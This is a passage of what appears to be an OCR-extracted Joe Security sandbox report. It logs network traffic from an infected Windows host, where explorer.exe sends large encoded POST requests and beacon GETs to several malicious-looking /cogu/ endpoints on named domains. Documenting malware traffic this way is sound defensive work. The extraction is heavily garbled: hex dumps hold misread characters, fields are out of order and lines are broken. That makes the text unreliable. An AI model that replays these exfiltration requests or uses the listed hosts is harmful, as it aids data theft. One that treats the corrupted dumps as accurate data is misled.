ivVUAbNONG3Q&GJIE=6ITPJF

Date: Wed, 13 Oct 2021 13:52:43 GMT

Content-Length: 151

Connection: close

Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 75 31 32 2e 6f 6e 6¢ 69 6e 65 2f 63 6f 67 75
2f 3f 45 36 3d 51 52 6e 48 62 41 42 5a 72 31 61 68 36 78 2b 6b 4f 61 59 57 7a 7a 70 74 2f 77 45 79 4e 31 75 75 2f 36 69
74 78 69 31 58 5a 6¢ 5a 50 4f 77 48 51 66 33 54 65 61 38 52 56 69 69 76 55 41 62 6e 30 4e 71 33 51 26 61 6d 70 3b 47
4a 45 3d 36 6¢ 54 50 4a 46 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 61 3e 2e Oa Oa

Data Ascii: <a href="https://www.nul12.online/cogu/?E6=QRnHbABZrlah6x+kOaYWzzpt/wEyN1uu/6itxi1XZIZPOw
HQf3Tea8RViivUAbnONq3Q&amp;GJE=6ITPJF">Moved Permanently</a>.

Destination IP Destination Port Process

172.67.139.41 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Oct 13, 2021 7625
15:52:48.949616909 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Data

POST /cogu/ HTTP/1.1

Host: www.researchlearningspirit.xyz

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.researchlearningspirit.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.researchlearningspirit.xyz/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 7e 41 4e 77 54 39 30 5f 47 67 7e 6a 32 55 4c 69 34 55 4f 4f 6a 6e 49 59 54 61 50 4a 33 49 37 42 7a
3956 36 69 67 65 63 65 66 74 37 51 76 52 47 63 68 35 55 70 36 63 4d 41 47 52 62 48 34 44 31 6e 35 28 39 43 62 47 62
76 5a 6e 4a 4e 74 62 42 4d 4b 6b 37 66 4c 54 41 51 43 7e 5a 31 69 46 78 7e 55 46 54 34 30 42 34 6f 46 45 4f 67 6e 6f 35
6c 67 41 51 49 38 70 5f 66 71 62 61 56 31 4d 45 4c 32 39 59 67 57 41 44 58 64 33 44 63 6b 48 2d 47 6¢ 44 49 53 57 47
5a 4f 39 4a 32 75 51 7e 38 72 55 47 30 4b 67 50 48 75 4f 38 77 4e 67 72 33 4b 46 71 37 28 30 4e 3549 34 4e 36 50 75 7
25567 7573 30 63 54 79 5a 66 56 50 43 68 6e 4e 61 44 70 4c 77 39 4b 4c 36 62 62 67 59 48 6e 7a 4c 69 31 68 6¢ 75 65
66 44 42 50 31 31 6b 39 71 66 6f 69 45 76 53 6b 4b 66 6a 59 6b 5f 41 4b 78 45 69 6a 37 67 45 37 48 36 48 4e 78 75 47
38 56 7a 63 6¢ 64 6f 48 61 35 34 70 4a 68 4f 37 77 42 76 78 2d 38 71 72 50 50 61 6e 47 53 74 73 65 78 49 39 53 68 6¢ 6f
6d 43 65 6d 43 73 56 7e 46 28 6f 4d 73 72 5f 69 37 6f 53 58 68 68 54 55 6b 6a 67 53 35 76 52 63 32 69 68 6a 74 30 62 58
35 4a 58 47 78 42 6f 67 7a 47 54 6a 68 37 36 55 45 64 6f 48 38 28 59 7e 6b 43 75 36 77 36 78 77 44 70 58 56 4d 42 44
77 6b 52 42 4e 48 4e 39 6e 34 55 38 59 79 6d 47 69 36 4f 65 39 38 76 74 78 34 66 7a 69 69 59 57 55 7a 7a 35 68 74 7e
6f 59 6¢ 79 47 37 46 63 38 55 38 39 67 75 67 6f 72 66 5f 6b 77 6f 57 7a 5a 58 4b 72 69 44 61 63 32 77 32 59 6¢ 6e 55 69
52 77 6d 71 75 79 72 6f 6a 69 6e 41 54 79 78 79 6f 31 6¢ 4b 55 32 69 41 58 7a 4c 55 65 73 6d 45 75 6b 5f 71 61 4b 37 51
2d 71 4e 4e 56 62 67 7a 33 46 51 67 71 58 61 38 71 6b 36 6a 2d 76 46 71 52 67 69 4b 49 59 58 64 62 65 70 46 44 61 33
44 54 4b 6e 35 78 46 51 51 2d 4f 58 4e 48 73 73 41 70 51 44 4b 70 46 48 4d 59 6a 57 6d 2d 4a 6f 35 4a 59 63 31 55 48
72 62 64 65 75 61 32 44 32 7a 4f 7a 69 58 36 4d 55 6¢ 54 59 74 42 36 6f 48 47 52 4e 53 6e 77 59 4a 28 45 33 61 64 43 48
3846 43 4b 39 49 48 71 43 79 50 49 58 55 66 61 63 55 56 6d 31 55 75 53 6b 6¢ 5f 4d 52 32 67 32 6d 34 49 38 70 6b 46
62 7a 78 4c 48 7a 4b 57 78 71 37 52 78 33 31 4a 28 43 56 45 55 73 75 43 73 4d 43 71 37 64 62 4c 48 2d 6f 4b 52 31 36
4a 46 37 45 57 75 50 5a 78 61 6¢ 4b 6¢ 6d 77 42 45 70 53 35 57 6e 32 67 4b 6e 6e 59 69 44 2d 61 47 57 39 75 69 57 51
70 30 38 4b 7e 64 66 33 37 45 47 6e 75 5a 31 31 50 67 36 67 5a 70 49 43 54 49 37 6b 49 31 52 74 64 6d 6¢ 6a 45 31 4c
72 6f 48 42 70 6¢ 33 31 7a 47 47 44 69 33 41 6a 69 4b 62 66 4d 44 53 43 6b 57 49 78 32 5a 78 6d 50 54 42 56 51 77 39 6
e 34324565 7a 52 59 64 56 74 6e 75 4d 61 70 47 66 50 47 68 65 73 4a 32 47 38 39 44 4d 4d 48 45 37 32 45 31 66 54
2d 46 61 55 6¢ 50 65 6d 74 76 68 6¢ 48 61 32 4b 68 49 54 4b 68 74 52 79 37 72 58 7e 43 6¢ 68 42 6d 31 32 57 67 57 66
44 62 69 5a 6b 59 56 50 4a 64 4f 78 65 70 78 45 70 55 6¢ 72 62 2d 52 41 65 57 59 34 28 72 72 48 65 42 4a 36 47 79 4d
52 69 38 55 7a 7e 6d 79 37 37 42 72 57 77 6a 48 59 72 64 48 2d 36 38 5a 6b 38 58 28 4d 62 71 42 67 61 33 44 71 54 4e
71 4e 48 69 53 4f 76 48 4b 5a 38 45 78 6e 62 37 4f 4b 56 54 43 35 78 36 56 4d 73 4c 52 62 45 44 78 75 35 62 6e 53 58 31
67 4d 57 37 48 71 6e 68 59 4a 6f 76 37 69 50 34 4d 5f 4d 75 28 79 7a 79 7e 54 33 57 5a 4d 74 72 6f 45 6f 36 77 30 50 53
6f41 47 4a 42 46 5a 41 6b 59 63 45 4b 70 6d 6e 62 4f 68 63 75 38 72 6b 46 53 32 37 62 57 42 77 69 52 56 4b 78 53 28
57 42 78 68 46 41 78 7e 6¢ 52 45 4c 4a 43 79 38 74 7e 66 75 4f 44 6a 48 63 56 6a 33 54 53 68 55 48 6a 79 7a 57 69 67
6a 4d 61 38 6e 67 35 6d 63 32 44 77 76 32 58 37 33 6f 6f 6f 4b 61 4e 65 6a 55 73 73 71 62 28 5a 39 44 31 45 33 47 7e 58
28 5f 6d 4a 79 6d 48 50 4d 70 73 65 6f 64 75 61 46 4c 76 56 64 2d 4a 78 75 32 43 4a 46 68 6e 58 48 2d 4b 47 63 41 78 4c
32 36 46 37 6f 65 44 63 45 62 7e 42 32 4a 47 66 68 4c 67 48 6¢ 4a 75 35 7e 7a 4c 5f 75 72 33 79 33 63 72 70 6¢ 68 4a 74
36 65 37 6a 63 33 61 49 35 52 76 32 57 42 57 30 51 39 53 74 5a 44 45 41 6d 51 51 54 65 70 61 51 7a 63 38 55 32 66 70
Ta4c 4d 78 72 47 36 28 6¢ 47 4a 6f 36 55 68 34 69 79 79 45 68 39 42 37 4a 33 36 63 52 34 73 67 57 4c 35 78 67 6¢ 6b
73 67 4a 42 44 64 63 39 31 76 61 70 59 67 41 62 45 5a 44 75 37 59 65 4a 7e 44 62 6f

Data Ascii: E6=~ANWT90_Gg~j2ULi4UOOQjnlYTaPJ317Bz9V6igeceft7QVRGch5Up6cMAGRbH4D1n5(9CbhGhbvZn
JNtbBMKK7fLTAQC~Z1iFx~UFT40B40FEOgn05IgAQI8p_fgbaVIMEL29YgWADXd3DckH-GIDISWGZ09J2uQ~8rUGOK
gPHuUO8wWNgr3KFq7(0N514N6PurUgusOcTyZfVPChnNaDpLw9KL6bbgYHnzLilhluefDBP11k9qgfoiEvSKKSjYk AKX
Eij7gE7TH6HNXuG8VzcldoHa54pJhO7wBvx-8qrPPanGStsexI9ShlomCemCsV~F(oMsr_i70SXhhTUkjgS5vRc2ihj
tObX5IXGxBogzGTjh76UEdoH8(Y~kCubwexwDpXVMBDWKRBNHNIN4U8YymGi60e98vtx4fziiY WUzz5ht~oYIlyG7Fc
8U89gugorf_kwoWzZXKriDac2w2YInUiRwmquyrojinATyxyo1IKU2iAXzLUesmEuk_gqaK7Q-qNNVbgz3FQgqXa8qk6j-
VFqRgIKIYXdbepFDa3DTKn5xFQQ-OXNHssApQDKpFHMYjWm-Jo5JYc1UHrbdeua2D2z0ziX6MUITYtB60HGRNSN
wYJ(E3adCHBFCK9IHqCyPIXUfacUVm1UuSkl_MR2g2m4I8pkFbzxL.HzKWxq7Rx31J(CVEUsuCsMCq7dbLH-0KR16JF
TEWuUPZxalKImwBEpS5Wn2gKnnYiD-aGW9uiWQp08K~df37EGNuZ11Pg6gZpICTI7kl1RtdmIjE1LroHBpI31zGGDIi3
AjiKbfMDSCKWIx2ZxmPTBVQwIn42EezRYdVtnuMapGfPGhesJ2G89DMMHE72E1fT-FaUlPemtvhiHa2KhITKhtRy 7r
X~ClhBm12WgWfDbizZkYVPJdOxepXxEpUIrb-RAeWY4(rrHeBJI6GYyMRi8Uz~my77BrwWwjHYrdH-68Zk8X(MbgBga3DgT
NgNHISOVHKZ8EXxnb7OKVTC5x6VMsLRbEDxu5bnSX1gMW7HgnhYJov7iP4M_Mu(yzy~T3WZMtroEo6wOP
S0AGJBFZAKYcEKpmnbOhcu8rkFS27bWBwiRVKxS(WBxhFAX~IRELJCy8t~fuODjHcVj3TShUHjyzWigjMa8ng5mc2D
wv2X73000KaNejUssgb(Z9D1E3G~X(_mJymHPMpseoduaFLvVd-Ixu2CIFhnXH-KGcAXL26F70eDcEb~B2JGfhLgHI
Ju5~zL_ur3y3crplhJtée7jc3al5Rv2WBWOQIStZDEAMQQTepaQzc8U2fpzLMxrG6(IGJo6Uh4iyyEh9B7J36cR4sg
WL5xglksgJBDdc91vapYgAbEZDu7YeJ~DboQRwd50qJMpw_IHc_Sj~qQsuGmbBpO04SelEIninRC4leGYRWKIBUVAe
ET4u5U1rG4BmFH-(7GdYV35jbIRRVzrN7yryiWw6g6G8Xbb0Di~2n25knxbbfRhfHECgZtmtYpe9Cui9C-(QvV0o7MS
016djsGfvXetqMxlYzMD7xD4mp2r9H0d-k4SBC62sIRpDGs7bGsfRY601XNg95mfCZw5fZB1wQoKh4Gs_YYobGsGwv
QDoi_W1k86H(cxNQyvMzz7cbcyquISBpXRFTAp6EPWJIAZSBnpLfWJIOYJIr0jSnQDOuUD_DgiNy-scM92-(8N9Ez5suCz
Bgg~geJ30H-sXdbCv3PasFQBWgABh1vBZs2V6FeEzujiohJKGVLQfIp3LMxrTdIw0gImuDwtB8h~ohMvyvIr46AB8J
0SBtdz8aayLy8zNghp-jMO3LS3cYBeQtm9IXhWabCUdID2UBhpOpCkF4Xscep9gsvYWZ8v2xITg3YVIKNRtVHRBO1cs
SEdk6XO6PthtJYmaPKnmn9990UNIDCInoDpAtdvGuYcXaYsWw86nUNLUEIZMq464CaHKM(KJIbPZiLfqHLpLjI3fqrt
gPTY5Rb~3JWoYQfloE98z5EusmWSgRW2nOJuN9gAd6ShgQSx5BXMdBTua8YhwwmsSKilLexPsLtY 1bdxDO(jSh72Cci
BwrKdDv4KgE96WOXVMS(IHTmwJIKS5ik8k~9sgdxhWqOJtIKO9A25WiwgA7ZHVpsEDVB7-QhRsmii3V2JVIRcOgFkdp
A4q3_pnywwfUbJKOpAizLW882gPTA3Mx-KQ3FIFF2TKwG3JiUat5kYKrINgB1N8z8V61NyFT041CdLRYoUnxk9H(BE
jyiIFHnCb5uz_
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kBytes

Timestamp transferred

Oct 13, 2021 7717

15:52:48.975795031 CEST

Session ID Source IP

44 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 7663

15:52:48.959780931 CEST

Oct 13, 2021 7718

15:52:48.986309052 CEST

Session ID Source IP

45 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49841

Direction

ouT

Source Port
49842

Direction

Data

HTTP/1.1 301 Moved Permanently

Date: Wed, 13 Oct 2021 13:52:48 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Wed, 13 Oct 2021 14:52:48 GMT

Location: https://www.researchlearningspirit.xyz/cogu/

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=VnT1ZaxCa3%2Fw7CjdPuzUglZs1FyGKi
d7Aufl7vAWaHvO%2B%2Ba0j4mDA1l1bxhi8PtI10vJ08NylajwYNNasUOBLhg4UoilNilLp7MezICLtwJIEU9uQCalA
hOIl11gHfs0sig2K8HZ7Z7xIN3RZe3LugBHA%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Vary: Accept-Encoding

Server: cloudflare

CF-RAY: 69d90cf1f8bc2b35-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

172.67.139.41 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=XC5KNdI4GHSouGT38hjr4jsIQYnK9JeLhlI8DzyfFb/cxQtVLaTUcvPIpENShYvrjmrvn&GJIE=6ITPJF HTTP/1
a1

Host: www.researchlearningspirit.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Wed, 13 Oct 2021 13:52:48 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Wed, 13 Oct 2021 14:52:48 GMT

Location: https://www.researchlearningspirit.xyz/cogu/?E6=xC5KNdI4GHSouGT38hjr4jsIQYnK9JeLhI8DzyfFb/
cxQtVLaTUcvP9pENShYvrjmrvn&GJIE=6ITPJF

Report-To: {"endpoints":[{"url":"https:\\Wa.nel.cloudflare.comV/report\/\v3?s=%2FJHUKGD7m4|Pg0r2vDogqOhKOktNs72
35M%2BOqGfMe5IuYjYXck9Kgs8ldpLW6gFHNzgpnaSkuTyJUcBjsvgCIR4if%2FSKOq3%2FSQQnh%2BZ %2F7DrpkZZ
SwmO0U%2Bumiwh%2BWwMIWaMDQCv22WvCfz1zgpRG TOuUfY%3D"}],"group:"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 69d90cf208673250-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP  Destination Port Process

75.2.115.196 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Oct 13, 2021 7721
15:52:54.012398005 CEST

Session ID Source IP

46 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49843

Direction

Data

POST /cogu/ HTTP/1.1

Host: www.xn--4pvw92bcry.com

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.xn--4pvw92bcry.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.xn--4pvw92bcry.com/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 31 30 71 39 63 33 71 6a 32 76 37 4f 69 5a 43 69 37 67 43 46 6b 6a 4a 31 6f 75 58 48 74 33 32 5a 79
59 45 6¢ 46 58 75 71 62 78 68 31 6e 72 4e 30 5a 57 41 55 42 30 73 41 47 35 67 59 70 53 58 75 71 2d 69 30 62 57 33 6¢
68 6941 68 4e 49 6d 74 54 4b 77 43 68 42 63 30 70 4f 78 41 28 55 53 55 71 55 35 41 32 42 54 4c 57 41 51 73 68 5a 46 6f
72 44 53 53 55 4a 37 6d 6b 77 58 5f 36 6e 6f 4f 52 75 64 4f 57 76 31 55 37 4e 77 44 42 42 59 66 55 75 79 4b 48 6d 46 6a
70 4561 4d 51 36 68 67 30 37 55 41 4a 6f 78 66 49 4d 7a 71 37 37 4f 50 30 34 58 57 4b 33 65 46 6b 4b 65 64 48 39 42
32 7e 46 79 52 59 56 70 57 37 6b 7a 70 62 55 63 50 6f 71 31 4e 42 53 78 59 35 4f 32 68 36 49 43 78 37 63 63 50 69 70 4
e 47 76 43 6a 2d 73 33 67 66 55 37 71 68 44 48 74 49 65 50 69 4d 4b 4e 50 77 4c 68 72 4c 7e 54 6a 35 4f 64 44 71 77 38
48 33 7a 6e 37 6b 7e 54 70 5f 30 65 35 51 74 57 57 51 32 32 69 69 62 4b 78 77 6e 4b 75 71 36 48 71 77 6b 4d 56 4d 6e
7a 34 7569 79 52 61 6f 79 45 65 38 45 50 6f 59 7a 5a 6b 71 79 56 50 36 6e 43 59 61 34 50 6a 61 31 54 45 34 43 74 43
6b 54 46 76 4d 30 58 43 41 49 6a 69 78 4d 6a 73 77 33 69 31 51 36 33 5a 64 55 4c 47 78 50 74 73 5a 32 66 43 78 33 56
69 36 49 38 45 55 68 44 37 6a 71 5a 67 28 36 47 4b 63 70 37 5a 57 6b 63 4b 63 6d 4d 77 50 64 44 47 35 53 52 59 35 7a
4f 36 57 51 70 45 78 6b 6¢ 62 30 54 66 70 53 69 31 61 47 62 77 65 4e 69 69 4d 67 5a 78 6d 67 44 66 76 41 2d 6b 31 55
68 49 52 53 30 39 6e 59 39 57 70 37 6e 6d 69 77 43 68 68 73 66 75 73 36 33 54 77 4a 54 46 66 47 6d 36 74 49 38 77 4a
4a 47 31 45 4b 57 4b 65 49 6¢ 50 71 53 33 67 62 28 6e 53 43 70 61 7e 57 28 65 58 37 4b 6d 49 41 4f 39 6¢ 48 37 56 73 4f
53 34 4d 4c 63 42 32 2d 28 75 35 54 78 54 45 5a 58 6b 4c 55 6e 58 74 74 43 30 65 65 56 31 49 6f 34 4f 69 50 64 34 7e 4f
6d 53 41 5f 32 65 77 34 6f 55 42 34 59 48 57 74 49 66 4c 41 45 4a 77 51 72 75 4a 61 6f 33 75 67 59 4c 5a 4d 63 4a 76 5a
6d 31 34 59 5a 75 65 6a 28 49 6f 45 6b 6¢ 54 2d 6¢ 51 53 43 55 7a 63 4e 44 51 79 48 62 49 46 6b 4b 76 30 5f 52 51 31
716550 4b 6b 46 64 78 74 45 31 6a 7a 50 4c 51 6f 7a 63 76 6b 74 55 6a 78 6b 6a 6b 34 7a 4e 61 51 73 59 50 51 4e 4c
62 7943 6d 45 37 71 35 75 4b 49 5a 45 42 74 2d 6¢ 76 67 66 56 6f 4f 54 49 77 47 55 67 51 56 4f 43 5f 43 42 62 6d 32 33
53 70 6a 78 56 78 43 79 4d 42 6b 75 7e 78 6d 53 79 49 51 34 63 6¢ 41 30 58 75 69 67 4e 75 42 63 50 55 54 55 4b 4d 7e
36 78 54 41 31 49 7a 68 71 56 72 7e 78 35 34 4a 6e 6e 4d 68 6f 54 71 66 75 50 72 38 4f 35 4c 47 47 54 48 66 59 39 4e 33
76 56 6¢ 54 4d 36 42 4c 6a 36 58 6e 36 74 67 33 47 59 37 33 4f 42 42 28 38 53 2d 72 71 77 66 32 6e 75 54 47 6¢ 54 53 4f
3951 2d 44 57 75 72 38 52 63 4c 75 66 4f 4d 4d 78 4f 4b 34 34 62 58 4e 31 6a 79 4e 53 66 7a 7e 78 44 6d 67 70 28 61 6f
49 4c 43 41 74 59 39 34 69 5a 69 66 4c 50 58 66 52 4e 77 52 39 55 78 71 41 49 51 44 5a 56 75 4b 44 37 78 32 70 63 44 6
7 76 56 6f 6f 61 53 73 6b 61 71 43 62 6a 55 54 61 5f 5a 58 71 4c 32 34 4d 4f 5a 37 51 42 53 37 72 6b 47 63 76 30 76 6b 3
6 59 5a 37 68 53 4d 67 49 31 4d 30 32 4d 50 73 4b 78 6e 71 36 58 35 39 6d 68 54 64 6a 52 39 33 37 6a 76 71 69 4e 4b
6¢ 51 38 74 5a 56 39 6b 35 69 5a 77 35 78 66 42 68 65 67 75 4f 46 5f 50 45 44 63 52 39 61 43 62 67 6¢ 46 54 5a 68 6e 42
45 47 61 34 39 45 72 37 67 39 33 52 5a 66 68 46 4f 58 76 6d 41 66 6a 43 72 44 73 36 4e 72 38 41 41 53 6b 6b 33 70 33
6a 61 43 52 66 73 41 4e 66 75 66 36 76 4c 6b 63 57 79 38 70 71 4a 30 47 54 43 74 32 47 34 Ac 4e 57 52 51 6¢ 6a 39 76
30 64 72 77 6f 48 4f 6¢ 54 53 6¢ 47 73 30 6f 36 46 4c 77 71 54 71 50 63 55 45 34 6d 63 31 44 79 6a 59 51 46 73 63 47 44
57 52 54 59 58 37 31 49 74 55 37 46 59 43 75 6a 74 59 55 78 41 4f 65 6f 54 4b 30 44 6b 4b 74 7e 4a 35 32 6d 65 45 47
5336 51 4d 48 66 35 74 48 6e 71 77 72 6b 32 61 38 70 47 57 67 48 43 73 69 52 64 77 6¢ 6f 32 41 7e 7a 5a 72 57 41 35
6e 6a 45 33 67 67 59 38 64 77 6d 4f 4a 73 38 6e 4f 74 44 31 42 4d 35 6a 54 77 54 5a 47 32 58 63 6b 67 6e 46 4a 33 42
69 31 7a 71 6e 69 74 33 47 54 55 2d 61 6e 51 56 53 68 56 69 52 7a 45 58 43 6d 6d 52 51 35 77 50 34 50 46 6f 75 36 71
437557 34 39 31 4d 30 62 5a 45 47 31 36 30 50 55 7e 58 6d 37 41 41 6e 6e 6b 2d

Data Ascii: E6=1009¢30j2v70iZCi7gCFkjIlouXHt32ZyYEIFXugbxh1nrNOZWAUBOSAG5gYpSXug-i0bW3IhiAhNImtTKwCh
BcOpOXA(USUqU5A2BTLWAQshZForDSSUJ7mkwX_6noORudOWv1U7NwDBBY fUuyKHmFjpEaMQ6hg07UAJ
oxfIMzq770P04XWK3eFkKedHIB2~FyRYVpW7kzpbUcPogqlNBSxY502h6ICx7ccPipNGVCj-s3gfU7ghDHtlePIMKNP
WLhrL~Tj50dDgw8H3zn7k~Tp_0e5QtWWQ22iibKxwnKugq6HgqwkMVMnz4uiyRaoyEe8EPoYzZkqyVP6nCYa4PjalTE4
CtCKTFVMOXCAIjixMjsw3i1Q63ZdUL GxPtsZ2fCx3Vi6I8EUhD7jqZg(6 GKcp7ZWkeKemMwPdDG5SRY5zO06WQPEXKI
b0TfpSilaGbweNiiMgZxmgDfvA-k1UhIRS09nY9Wp7nmiwChhsfus63TwJITFGmM6tI8wJIG1EKWKellPqS3gb(nSCp
a~W(eX7KmIAO9IH7VsOS4AMLcB2-(uSTXTEZXKLUNXttCOeeV11040iPd4~OmSA_2ew4oUB4YHWtIfLAEIJwQruJao3u
gYLZMcJIvZm14Y Zuej(loEKIT-IQSCUzcNDQyHbIFkKvO_RQ1gePKkFdxtE1jzPLQozcvktUjxkjk4zNaQsYPQNLbyC
ME7g5uKIZEBt-lvgfVoOTIwGUgQVOC_CBbm23SpjxVxCyMBku~xmSylQ4clA0XuigNuBcPUTUKM~6XTALIzhqVr~x5
4InnMhoTqfuPr8O5LGGTHfY9IN3VVITMEBL|6Xn6tg3GY 730BB(8S-rqwf2nuTGITSO9Q-DWur8RcLUfOMMXOK44bXN
1jyNSfz~xDmgp(aolLCAtY94iZifLPXfRNWRIUxgAIQDZVuKD7x2pcDgvVooaSskaqChjUTa_zZXqL24MOZ7QBS7rkG
cvOvk6YZ7hSMgl1M02MPsKxng6X59mhTdjR937jvqiNKIQ8tZV9k5iZw5xfBheguOF _PEDcR9aCbglFTZhnBEGa49E
r7g93RZfhFOXvmAfiCrDs6Nr8AASkk3p3jaCRfsANfufévLkcWy8pgJOGTCt2G4LNWRQIj9vOdrwoHOITSIGS006FL
wqTqPcUE4mc1DyjYQFscGDWRTYX71ItU7FY CujtY UXxAOeoTKODKKt~J52meEGS6QMHf5tHnqwrk2a8pGWgHCsiRdw!
02A~zZrWA5NE3ggY8dwmOJs8nOtD1BMS5jTWTZG2XckgnFJ3Bilzgnit3GTU-anQVShVIRZEXCmmRQ5wWP4PFou6qCu
W491M0bZEG160PU~Xm7AAnnk-oueMWIBtmVZflirmAMDBtaPisooAF-jO002DnUgBKonhYzIAIOMNM7Ku3zYhDI7rx
VvrLCX7pz10uUrH7y00Q~8uB0_g6e_9JpTled8VTIT(3(-p3AnoyggobpOKIquYgkYAxbYRjTCvOwW7M-vMwV3AY Vkdr
0M24f562WZsOUD5aoD2aSmyDWAdncW3rZFEnkODr4rLNJY89iT9Z39DJOgiKDHgtVsIpUXQNO70JTV2fgtY QHShvW1
psieWHVw8SreyaGaWnbx0kZoEr38DzB5YZBx-WVFa6hBiFAUamZjRs61ZahpBDYU7r2U323qxOlqreZ6NxsD2f3MfX
Rblvnv29LOFKkurYaDuplmQ7LI2GkGcle9pVAtsGrLN(sWec3MEdSZxa3wk0QMfa-UKyh9ZKf4sPpawlG(kiRO6BaP
S6t4pSpalR47iUWrDiltnwmacVYIXfvOZYKXbF7xsmlz4JhMf3D5XR6uPogY O8njR7QxIrf6MX70HDEKcIHNGgAX_D
2LT~jan1-GgzyDodkPDE2QU8KQT9Ixj48Uu3f53BWLfsI9wgRwThuOuWx7VceYyjnOEEN2ewdsCsbOEIH~0zPtm1t8-Q
NZPR_aVpXb4T5Dzgr~rxhitNuwg63S0e7W1sqEYwaDrMZ3XFMJIfWOAEyYi8HowDyaww520jaYnNfljRmhtHc(zRkM-p
Lyoi7eFWx5vduCZZLsOeRv8WGAMRgIHQPOh7E7PLVYIbZANH71pAKbHOd8jO35g0ERtdVsip2MOQa3pGpT-nuHsdTT
upocSi_gswK4zdLw_mxSSYyY6y3kXSHdXHw60YirZ6mbBotAenRImLkj4Z9BeY sjnFXTMmeOxk1Xb9iUXAEWIEZ36W
BoMClsuv2jw853K7dXmfFIKBa

Destination IP Destination Port Process

75.2.115.196 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Oct 13, 2021 7751
15:52:54.023787022 CEST

Oct 13, 2021 7853
15:52:54.173382044 CEST

Session ID Source IP

47 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 7861

15:52:59.588948011 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49844

Direction

ouT

Data

GET /cogu/?E6=62eHCTnVilbE5q/VnkbvIz9TsuOUnGzf3IBPc1eKYkVag+IXJUtXLjRsX48ZiFT924q+&GJIE=6ITPJF
HTTP/1.1

Host: www.xn--4pvw92bcry.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Date: Wed, 13 Oct 2021 13:52:54 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Server: nginx

Vary: Accept-Encoding

Data Raw: 3c 68 74 6d 6¢ 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html|>

Destination IP Destination Port Process

154.215.231.81 80 C:\Windows\explorer.exe

Data

POST /cogu/ HTTP/1.1

Host: www.cinargeridonusum.com

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.cinargeridonusum.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.cinargeridonusum.com/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 58 55 6f 48 34 75 6e 46 4c 70 46 67 62 44 76 64 43 4a 72 57 36 6b 6e 42 56 75 28 7a 50 4f 76 59 31
5532 33 6e 72 4a 62 53 41 68 6b 65 63 50 51 6¢ 5a 41 70 79 35 7e 56 4a 66 36 66 4d 32 42 34 62 6¢ 6a 77 69 39 38 56
324247 31 67 74 30 78 39 46 78 58 4b 66 45 66 76 45 31 47 52 59 62 6e 37 37 50 41 45 76 38 71 35 65 36 43 48 6d 58
4571 4a 72 39 48 73 46 79 32 38 68 4c 46 36 61 64 6e 73 49 49 4d 74 69 42 6d 49 4b 5f 63 58 31 70 31 58 71 30 37 61 3
4 45 42 41 58 5f 73 6¢ 43 58 63 4a 48 6e 50 44 64 50 61 46 6f 49 6e 6f 67 36 33 4f 64 36 46 4f 78 5f 51 33 72 39 63 4d 64
